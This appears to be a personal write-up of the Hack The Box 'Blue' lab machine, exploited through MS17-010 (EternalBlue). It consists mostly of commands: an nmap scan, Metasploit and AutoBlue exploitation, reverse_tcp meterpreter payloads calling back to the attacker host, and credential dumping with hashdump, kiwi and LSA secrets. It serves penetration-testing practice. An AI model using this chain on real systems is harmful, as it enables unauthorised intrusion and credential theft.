Blue

HTB - 3. Blue (MS17.010)
1.nmap -T4 -p- -A 10.10.10.40 shows 139 & 445 (smb) open, version Windows 7 Professional 7601 Service Pack 1, computer name is haris-PC, message signing enabled by not required,
2.Metaploit Test if vulnerable
sudo msfconsole
search ms17-010
use auxiliary/scanner/smb/smb_ms17_010
options
set rhosts 10.10.10.40
run
Result: Host is likely vulnerable
Exploit:
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 10.10.10.40
show targets
run
Result: shell popped with nt authoirty/system
Used an un-staged payload, so lets try staged and get a meterpreter
set payload windows/x64/meterpreter/reverse_tcp
options
run
getuid
sysinfo
hashdump
shell
route print
arp -a
netstat -ano
load kiwi
help
creds_all
lsa_dump_sam
lsa_dump_secrets
load incognito
list_tokens -u
3.Autoblue: https://github.com/3ndG4me/AutoBlue-MS17-010
git clone https://github.com/3ndG4me/AutoBlue-MS17-010
cd AutoBlue-MS17-010
ls
python eternalblue_checker.py 10.10.10.40
Result: Target not patched
Exploit:
cd shellcode
sudo ./shell_prep.sh
y
10.10.14.24
4445
4446
0 <-- Meterpreter instead of shell
0 <-- Staged instead of un-staged
cd ..
ls
sudo ./listener_prep.sh
10.10.14.24
4445
4446
0
0
python eternalblue_exploit7.py 10.10.10.40 shellcode/sc_all.bin
sessions
sessions 1
getuid
whoami
sysinfo
Last modified 9mo ago